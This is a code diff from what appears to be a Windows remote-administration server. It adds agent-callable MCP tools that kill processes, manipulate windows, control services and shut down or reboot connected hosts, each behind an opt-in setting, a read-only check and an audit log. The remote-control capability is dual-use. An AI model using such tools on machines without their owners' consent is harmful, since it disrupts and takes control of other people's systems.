else if (action == "set_manual") bCmd = 4;
|
||||||
|
else return BuildError(id, -32602,
|
||||||
|
"Invalid action: " + action + " (expect start|stop|set_auto|set_manual)");
|
||||||
|
|
||||||
|
// 服务名来自 Windows A 接口(GBK/936),下发前转 ANSI。payload 与 MachineDlg 一致:
|
||||||
|
// [COMMAND_SERVICECONFIG:1][bCmd:1][serviceName\0]。
|
||||||
|
std::string ansiName = ToAnsi(serviceName, 936);
|
||||||
|
std::vector<BYTE> followUp;
|
||||||
|
followUp.reserve(2 + ansiName.size() + 1);
|
||||||
|
followUp.push_back((BYTE)COMMAND_SERVICECONFIG);
|
||||||
|
followUp.push_back(bCmd);
|
||||||
|
followUp.insert(followUp.end(), ansiName.begin(), ansiName.end());
|
||||||
|
followUp.push_back(0);
|
||||||
|
|
||||||
|
if (!mcp.BeginPendingFollowUp(devId, "control_service", followUp))
|
||||||
|
return BuildError(id, -32003, "Device busy: another request is pending for this host");
|
||||||
|
|
||||||
|
BYTE cmd = COMMAND_SERVICES;
|
||||||
|
if (!ctx->Send2Client(&cmd, 1)) {
|
||||||
|
mcp.ClearPending(devId);
|
||||||
|
return BuildError(id, -32004, "Failed to send command to host");
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> data;
|
||||||
|
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
|
||||||
|
return BuildError(id, -32001, "Timeout waiting for service operation");
|
||||||
|
|
||||||
|
AuditManageAction(parent, devId, "control_service",
|
||||||
|
"service=" + serviceName + " action=" + action);
|
||||||
|
|
||||||
|
Json::Value result(Json::objectValue);
|
||||||
|
Json::Value structuredContent(Json::objectValue);
|
||||||
|
structuredContent["ok"] = true;
|
||||||
|
result["structuredContent"] = structuredContent;
|
||||||
|
|
||||||
|
Json::Value content(Json::arrayValue);
|
||||||
|
Json::Value item(Json::objectValue);
|
||||||
|
item["type"] = "text";
|
||||||
|
item["text"] = std::string(u8"已下发服务操作:") + action + std::string(u8" ") + serviceName;
|
||||||
|
content.append(item);
|
||||||
|
result["content"] = content;
|
||||||
|
result["isError"] = false;
|
||||||
|
|
||||||
|
return BuildResult(id, result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// power_action:主连接 TOKEN_MACHINE_MANAGE,发完即走(无响应);主机立即离线。
|
||||||
|
std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
|
||||||
|
uint64_t devId = 0;
|
||||||
|
std::string err;
|
||||||
|
if (!ParseHostIdArg(args, devId, err))
|
||||||
|
return BuildError(id, -32602, err);
|
||||||
|
|
||||||
|
context* ctx = FindMainContext(parent, devId);
|
||||||
|
if (!ctx)
|
||||||
|
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
|
||||||
|
|
||||||
|
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
|
||||||
|
return BuildError(id, -32005, "power_action is only supported on Windows hosts");
|
||||||
|
|
||||||
|
CMcpServer& mcp = CMcpServer::Instance();
|
||||||
|
if (mcp.IsReadonly())
|
||||||
|
return BuildError(id, -32006, "power_action is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
|
||||||
|
if (!mcp.IsManageEnabled())
|
||||||
|
return BuildError(id, -32006, "power_action is disabled: management operations are off (set McpManage=1 to enable)");
|
||||||
|
|
||||||
|
std::string action = Trim(GetStringArg(args, "action"));
|
||||||
|
BYTE type;
|
||||||
|
if (action == "logout") type = MACHINE_LOGOUT;
|
||||||
|
else if (action == "shutdown") type = MACHINE_SHUTDOWN;
|
||||||
|
else if (action == "reboot") type = MACHINE_REBOOT;
|
||||||
|
else return BuildError(id, -32602,
|
||||||
|
"Invalid action: " + action + " (expect logout|shutdown|reboot)");
|
||||||
|
|
||||||
|
// 主连接、发完即走、无响应(客户端 KernelManager 只校验 ulLength>1 并读 szBuffer[1])。
|
||||||
|
BYTE token[2] = { (BYTE)TOKEN_MACHINE_MANAGE, type };
|
||||||
|
if (!ctx->Send2Client(token, 2))
|
||||||
|
return BuildError(id, -32004, "Failed to send command to host");
|
||||||
|
|
||||||
|
AuditManageAction(parent, devId, "power_action", "action=" + action);
|
||||||
|
|
||||||
|
Json::Value result(Json::objectValue);
|
||||||
|
Json::Value structuredContent(Json::objectValue);
|
||||||
|
structuredContent["ok"] = true;
|
||||||
|
result["structuredContent"] = structuredContent;
|
||||||
|
|
||||||
|
Json::Value content(Json::arrayValue);
|
||||||
|
Json::Value item(Json::objectValue);
|
||||||
|
item["type"] = "text";
|
||||||
|
item["text"] = std::string(u8"已下发电源操作:") + action;
|
||||||
|
content.append(item);
|
||||||
|
result["content"] = content;
|
||||||
|
result["isError"] = false;
|
||||||
|
|
||||||
|
return BuildResult(id, result);
|
||||||
|
}
|
||||||
|
|
||||||
// tools/call 分派
|
// tools/call 分派
|
||||||
std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
|
std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
|
||||||
const Json::Value& id = root["id"];
|
const Json::Value& id = root["id"];
|
||||||
@@ -4210,6 +4710,10 @@ std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
|
|||||||
if (toolName == "remote_clipboard") return BuildRemoteClipboard(id, args, parent);
|
if (toolName == "remote_clipboard") return BuildRemoteClipboard(id, args, parent);
|
||||||
if (toolName == "download_file") return BuildDownloadFile(id, args, parent);
|
if (toolName == "download_file") return BuildDownloadFile(id, args, parent);
|
||||||
if (toolName == "upload_file") return BuildUploadFile(id, args, parent);
|
if (toolName == "upload_file") return BuildUploadFile(id, args, parent);
|
||||||
|
if (toolName == "kill_process") return BuildKillProcess(id, args, parent);
|
||||||
|
if (toolName == "operate_window") return BuildOperateWindow(id, args, parent);
|
||||||
|
if (toolName == "control_service") return BuildControlService(id, args, parent);
|
||||||
|
if (toolName == "power_action") return BuildPowerAction(id, args, parent);
|
||||||
|
|
||||||
return BuildError(id, -32602,
|
return BuildError(id, -32602,
|
||||||
"Unknown tool: " + (toolName.empty() ? std::string("(empty)") : toolName));
|
"Unknown tool: " + (toolName.empty() ? std::string("(empty)") : toolName));
|
||||||
@@ -4727,7 +5231,8 @@ bool CMcpServer::IsPending(uint64_t device_id) {
|
|||||||
void CMcpServer::TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len) {
|
void CMcpServer::TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len) {
|
||||||
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||||
auto it = m_Pending.find(device_id);
|
auto it = m_Pending.find(device_id);
|
||||||
if (it == m_Pending.end()) return; // 已超时清理 → 迟到数据,丢弃
|
if (it == m_Pending.end()) { Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d: no pending (late/dropped)\n", device_id, (int)len); return; } // 已超时清理 → 迟到数据,丢弃
|
||||||
|
Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d done\n", device_id, (int)len);
|
||||||
it->second.data.assign(data, data + len);
|
it->second.data.assign(data, data + len);
|
||||||
it->second.done = true;
|
it->second.done = true;
|
||||||
m_PendingCv.notify_one();
|
m_PendingCv.notify_one();
|
||||||
@@ -4902,6 +5407,110 @@ bool CMcpServer::WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subk
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ===== P7:设备管理控制(写工具接管)=====
|
||||||
|
|
||||||
|
bool CMcpServer::BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
|
||||||
|
const std::vector<BYTE>& followUp) {
|
||||||
|
if (IsFileTransferPending(device_id)) return false; // 该 host 有文件传输会话在飞(互斥,见 F2)
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||||
|
if (m_Pending.find(device_id) != m_Pending.end()) return false; // 设备忙
|
||||||
|
PendingRequest r;
|
||||||
|
r.tool = tool;
|
||||||
|
r.followUp = followUp;
|
||||||
|
m_Pending[device_id] = std::move(r);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CMcpServer::OnSystemReady(uint64_t device_id, context* subCtx) {
|
||||||
|
std::string tool;
|
||||||
|
std::vector<BYTE> followUp;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||||
|
auto it = m_Pending.find(device_id);
|
||||||
|
if (it == m_Pending.end()) { Mprintf("[MCP-P7] OnSystemReady dev=%llu: no pending\n", device_id); return false; } // 无挂起 → 回落 MFC
|
||||||
|
tool = it->second.tool;
|
||||||
|
if (tool != "kill_process" && tool != "operate_window") { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: not write tool\n", device_id, tool.c_str()); return false; }
|
||||||
|
if (it->second.followUpSent) { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: CONFIRM token -> TakeMainResponse\n", device_id, tool.c_str()); return false; } // 确认包 → TakeMainResponse
|
||||||
|
followUp = it->second.followUp;
|
||||||
|
it->second.subCtx = subCtx;
|
||||||
|
it->second.followUpSent = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 锁外下发写命令;kill/test 需补发刷新命令索取新列表(close/control_service 客户端自动回)。
|
||||||
|
BOOL b1 = subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
|
||||||
|
BYTE refresh = 0;
|
||||||
|
if (tool == "kill_process") {
|
||||||
|
refresh = (BYTE)COMMAND_PSLIST;
|
||||||
|
} else if (!followUp.empty() && followUp[0] == CMD_WINDOW_TEST) {
|
||||||
|
refresh = (BYTE)COMMAND_WSLIST;
|
||||||
|
}
|
||||||
|
if (refresh) {
|
||||||
|
// followUp 与 refresh 是两次独立 Send2Client,各自 PostQueuedCompletionStatus(IOWrite),
|
||||||
|
// worker 会对同一 OutCompressedBuffer 并发发起 WSASend,造成竞态/丢包。用 WaitSendIdle
|
||||||
|
// 确定性等首个包真正发完再发刷新包(比 MFC 的 Sleep(100) 盲等更稳)。
|
||||||
|
subCtx->WaitSendIdle(2000);
|
||||||
|
BOOL b2 = subCtx->Send2Client(&refresh, 1);
|
||||||
|
Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s READY: followUpSend=%d refreshSend=%d refresh=%d\n",
|
||||||
|
device_id, tool.c_str(), b1 ? 1 : 0, b2 ? 1 : 0, (int)refresh);
|
||||||
|
}
|
||||||
|
return true; // 已接管,不 CancelIO
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CMcpServer::OnServiceReady(uint64_t device_id, context* subCtx) {
|
||||||
|
std::vector<BYTE> followUp;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||||
|
auto it = m_Pending.find(device_id);
|
||||||
|
if (it == m_Pending.end()) return false;
|
||||||
|
if (it->second.tool != "control_service") return false;
|
||||||
|
if (it->second.followUpSent) return false; // 确认包 → 调用方 TakeMainResponse
|
||||||
|
followUp = it->second.followUp;
|
||||||
|
it->second.subCtx = subCtx;
|
||||||
|
it->second.followUpSent = true;
|
||||||
|
}
|
||||||
|
subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
|
||||||
|
return true; // 客户端写后自动回,无需补发
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CMcpServer::WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs) {
|
||||||
|
context* subCtx = nullptr;
|
||||||
|
std::unique_lock<std::mutex> lk(m_PendingMutex);
|
||||||
|
auto it = m_Pending.find(device_id);
|
||||||
|
if (it == m_Pending.end()) return false;
|
||||||
|
|
||||||
|
bool signaled = m_PendingCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
|
||||||
|
[&] { return it->second.done; });
|
||||||
|
if (!signaled || it->second.data.empty()) {
|
||||||
|
subCtx = it->second.subCtx;
|
||||||
|
Mprintf("[MCP-P7] WaitPendingWrite dev=%llu TIMEOUT: signaled=%d dataEmpty=%d subCtx=%p\n",
|
||||||
|
device_id, signaled ? 1 : 0, it->second.data.empty() ? 1 : 0, (void*)subCtx);
|
||||||
|
m_Pending.erase(it); // 超时/空数据 → 清理
|
||||||
|
lk.unlock();
|
||||||
|
if (subCtx) subCtx->CancelIO(); // 锁外关子连接,防孤儿子连接
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out = std::move(it->second.data);
|
||||||
|
Mprintf("[MCP-P7] WaitPendingWrite dev=%llu OK len=%d\n", device_id, (int)out.size());
|
||||||
|
m_Pending.erase(it);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMcpServer::OnManageSubClosed(context* subCtx) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||||
|
// 只匹配「已接管、等确认包」的写工具子连接(read 工具从不存 subCtx,天然不命中)。
|
||||||
|
// 扫描而非按 device_id 查找,避免依赖断线后 GetClientID 是否仍有效。
|
||||||
|
for (auto& kv : m_Pending) {
|
||||||
|
if (kv.second.subCtx == subCtx) {
|
||||||
|
Mprintf("[MCP-P7] OnManageSubClosed subCtx=%p tool=%s: sub-conn closed before confirm\n",
|
||||||
|
(void*)subCtx, kv.second.tool.c_str());
|
||||||
|
kv.second.subCtx = nullptr; // 断线后子连接已死/将回收,超时路径不得再 CancelIO
|
||||||
|
kv.second.done = true; // 唤醒等待线程(WaitPendingWrite 见 data 空 → 返回失败)
|
||||||
|
m_PendingCv.notify_all();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// rand_s:Windows CRT 加密安全随机源(基于系统 CSPRNG)。其声明需在 <stdlib.h> 前
|
// rand_s:Windows CRT 加密安全随机源(基于系统 CSPRNG)。其声明需在 <stdlib.h> 前
|
||||||
// 定义 _CRT_RAND_S;为避免依赖 PCH 的包含顺序,这里手动声明其导出原型(errno_t == int)。
|
// 定义 _CRT_RAND_S;为避免依赖 PCH 的包含顺序,这里手动声明其导出原型(errno_t == int)。
|
||||||
extern "C" int __cdecl rand_s(unsigned int* randomValue);
|
extern "C" int __cdecl rand_s(unsigned int* randomValue);
|
||||||
|
|||||||
@@ -242,6 +242,34 @@ public:
|
|||||||
// 收尾:擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接(幂等)。
|
// 收尾:擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接(幂等)。
|
||||||
void ClearFileTransfer(uint64_t device_id);
|
void ClearFileTransfer(uint64_t device_id);
|
||||||
|
|
||||||
|
// ===== P7:设备管理控制(kill_process / operate_window / control_service / power_action)=====
|
||||||
|
// 写工具复用 m_Pending 单飞行;followUp/followUpSent/subCtx 标记接管进度。
|
||||||
|
// 「就绪 token」与「确认 token」是同一 token(客户端子连接构造即回一包,写后再回一包),
|
||||||
|
// 故必须用 followUpSent 区分两次到达,不能靠 token 区分(与 list_registry 的 PATH/KEY 双 token 不同)。
|
||||||
|
void SetManageEnabled(bool enabled) { m_manageEnabled = enabled; }
|
||||||
|
bool IsManageEnabled() const { return m_manageEnabled; }
|
||||||
|
|
||||||
|
// 登记写挂起:与 BeginPending 同单飞行,另预填 followUp(写命令 payload)。
|
||||||
|
bool BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
|
||||||
|
const std::vector<BYTE>& followUp);
|
||||||
|
|
||||||
|
// MessageHandle(TOKEN_PSLIST/TOKEN_WSLIST) 调用:命中且为写工具(kill_process/operate_window)
|
||||||
|
// 则接管子连接、下发 followUp(返回 true=已接管,调用方不 CancelIO);否则 false(回落 MFC
|
||||||
|
// 或按确认包走 TakeMainResponse)。
|
||||||
|
bool OnSystemReady(uint64_t device_id, context* subCtx);
|
||||||
|
|
||||||
|
// MessageHandle(TOKEN_SERVERLIST) 调用:命中且为 control_service 则接管、下发
|
||||||
|
// COMMAND_SERVICECONFIG(返回 true=已接管);否则 false。
|
||||||
|
bool OnServiceReady(uint64_t device_id, context* subCtx);
|
||||||
|
|
||||||
|
// 工具线程:等待写确认包(第二个同 token 包);超时/空数据清挂起并 CancelIO 子连接。
|
||||||
|
bool WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
|
||||||
|
|
||||||
|
// OfflineProc 调用:接管的子连接断开时清挂起(置 done 并清 subCtx,唤醒等待线程)。
|
||||||
|
// 不擦表(由 WaitPendingWrite 持有迭代器时自行擦除,防迭代器失效);清 subCtx 使
|
||||||
|
// 超时路径不会对已回收(连接池复用)的 context 误 CancelIO。
|
||||||
|
void OnManageSubClosed(context* subCtx);
|
||||||
|
|
||||||
// 安全配置(启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置)。
|
// 安全配置(启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置)。
|
||||||
void SetReadonly(bool readonly) { m_readonly = readonly; }
|
void SetReadonly(bool readonly) { m_readonly = readonly; }
|
||||||
void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
|
void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
|
||||||
@@ -274,6 +302,10 @@ private:
|
|||||||
bool pathDone = false; // list_registry:已收到 TOKEN_REG_PATH
|
bool pathDone = false; // list_registry:已收到 TOKEN_REG_PATH
|
||||||
bool keyDone = false; // list_registry:已收到 TOKEN_REG_KEY
|
bool keyDone = false; // list_registry:已收到 TOKEN_REG_KEY
|
||||||
bool done = false;
|
bool done = false;
|
||||||
|
// ===== P7:写工具(kill_process / operate_window / control_service)接管进度 =====
|
||||||
|
std::vector<BYTE> followUp; // 接管后下发的写命令 payload(首字节 = 写命令)
|
||||||
|
bool followUpSent = false; // false=等子连接就绪(首包);true=已发写命令、等确认包
|
||||||
|
context* subCtx = nullptr; // 接管的子连接(超时/失败 CancelIO 用,防孤儿子连接)
|
||||||
};
|
};
|
||||||
std::mutex m_PendingMutex;
|
std::mutex m_PendingMutex;
|
||||||
std::condition_variable m_PendingCv;
|
std::condition_variable m_PendingCv;
|
||||||
@@ -348,6 +380,7 @@ private:
|
|||||||
bool m_terminalEnabled = false; // 持久终端开关(默认关;要求 m_readonly=false)
|
bool m_terminalEnabled = false; // 持久终端开关(默认关;要求 m_readonly=false)
|
||||||
bool m_remoteControlEnabled = false; // 远程控制开关(默认关;要求 m_readonly=false)
|
bool m_remoteControlEnabled = false; // 远程控制开关(默认关;要求 m_readonly=false)
|
||||||
bool m_fileTransferEnabled = false; // 文件传输开关(默认关;download_file)
|
bool m_fileTransferEnabled = false; // 文件传输开关(默认关;download_file)
|
||||||
|
bool m_manageEnabled = false; // P7 管理控制开关(默认关;要求 m_readonly=false)
|
||||||
};
|
};
|
||||||
|
|
||||||
// 全局访问器(仿 WebService(),见 WebService.h 末尾)
|
// 全局访问器(仿 WebService(),见 WebService.h 末尾)
|
||||||
|
|||||||
@@ -145,6 +145,9 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
|||||||
m_btnFileTransfer.Create(_TR("启用文件传输(download_file)"),
|
m_btnFileTransfer.Create(_TR("启用文件传输(download_file)"),
|
||||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||||
r0, this, IDC_MCP_FILETRANSFER);
|
r0, this, IDC_MCP_FILETRANSFER);
|
||||||
|
m_btnManage.Create(_TR("启用管理操作(进程/窗口/服务/电源)"),
|
||||||
|
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||||
|
r0, this, IDC_MCP_MANAGE);
|
||||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||||
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||||
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
||||||
@@ -168,6 +171,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
|||||||
m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_btnManage.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
@@ -184,6 +188,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
|||||||
int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
|
int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
|
||||||
int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
|
int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
|
||||||
int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
|
int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
|
||||||
|
int manage = THIS_CFG.GetInt("settings", "McpManage", 0);
|
||||||
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
|
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
|
||||||
|
|
||||||
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
|
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
|
||||||
@@ -194,6 +199,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
|||||||
m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
|
m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
|
||||||
m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
|
m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
|
||||||
m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
|
m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
|
||||||
|
m_btnManage.SetCheck(manage ? BST_CHECKED : BST_UNCHECKED);
|
||||||
// 白名单存储为逗号分隔,展示为每行一条。
|
// 白名单存储为逗号分隔,展示为每行一条。
|
||||||
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
|
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
|
||||||
|
|
||||||
@@ -213,6 +219,7 @@ void CMcpSettingsDlg::OnOK()
|
|||||||
bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
|
bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
|
||||||
bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
|
bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
|
||||||
bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
|
bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
|
||||||
|
bool manage = (m_btnManage.GetCheck() == BST_CHECKED);
|
||||||
|
|
||||||
// 端口校验:1-65535
|
// 端口校验:1-65535
|
||||||
int port = atoi(CT2A(sPort));
|
int port = atoi(CT2A(sPort));
|
||||||
@@ -239,14 +246,15 @@ void CMcpSettingsDlg::OnOK()
|
|||||||
THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
|
THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
|
||||||
THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
|
THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
|
||||||
THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
|
THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
|
||||||
|
THIS_CFG.SetInt("settings", "McpManage", manage ? 1 : 0);
|
||||||
std::string whitelist = CT2A(sWhitelist);
|
std::string whitelist = CT2A(sWhitelist);
|
||||||
whitelist = NormalizeWhitelist(whitelist);
|
whitelist = NormalizeWhitelist(whitelist);
|
||||||
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
|
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
|
||||||
|
|
||||||
// 拆成两段可翻译的单行键,中间用 \r\n 连接(多行键无法在 INI 中表示)
|
// 拆成两段可翻译的单行键,中间用 \r\n 连接(多行键无法在 INI 中表示)
|
||||||
MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
|
MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
|
||||||
_TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。") + _T("\r\n") +
|
_TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。") + _T("\r\n") +
|
||||||
_TR("持久终端与远程控制仅在只读模式关闭时生效。"),
|
_TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。"),
|
||||||
_TR("提示"), MB_ICONINFORMATION);
|
_TR("提示"), MB_ICONINFORMATION);
|
||||||
|
|
||||||
CDialog::OnOK();
|
CDialog::OnOK();
|
||||||
@@ -289,6 +297,9 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
|||||||
m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
|
m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||||
y += 30;
|
y += 30;
|
||||||
|
|
||||||
|
m_btnManage.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||||
|
y += 30;
|
||||||
|
|
||||||
const int whitelistH = 90;
|
const int whitelistH = 90;
|
||||||
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
||||||
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ private:
|
|||||||
IDC_MCP_TERMINAL = 1007, // 「启用持久终端」复选框(全命令,无白名单,要求只读关)
|
IDC_MCP_TERMINAL = 1007, // 「启用持久终端」复选框(全命令,无白名单,要求只读关)
|
||||||
IDC_MCP_REMOTECONTROL = 1008, // 「启用远程控制」复选框(AI 操控桌面,要求只读关)
|
IDC_MCP_REMOTECONTROL = 1008, // 「启用远程控制」复选框(AI 操控桌面,要求只读关)
|
||||||
IDC_MCP_FILETRANSFER = 1009, // 「启用文件传输」复选框(download_file,不要求只读关)
|
IDC_MCP_FILETRANSFER = 1009, // 「启用文件传输」复选框(download_file,不要求只读关)
|
||||||
|
IDC_MCP_MANAGE = 1010, // 「启用管理操作」复选框(kill/窗口/服务/电源,要求只读关)
|
||||||
};
|
};
|
||||||
|
|
||||||
CButton m_btnEnable;
|
CButton m_btnEnable;
|
||||||
@@ -40,6 +41,7 @@ private:
|
|||||||
CButton m_btnTerminal;
|
CButton m_btnTerminal;
|
||||||
CButton m_btnRemoteControl;
|
CButton m_btnRemoteControl;
|
||||||
CButton m_btnFileTransfer;
|
CButton m_btnFileTransfer;
|
||||||
|
CButton m_btnManage;
|
||||||
CStatic m_lblWhitelist;
|
CStatic m_lblWhitelist;
|
||||||
CEdit m_editWhitelist;
|
CEdit m_editWhitelist;
|
||||||
CButton m_btnOK, m_btnCancel;
|
CButton m_btnOK, m_btnCancel;
|
||||||
|
|||||||
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
|
|||||||
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
||||||
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
||||||
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
||||||
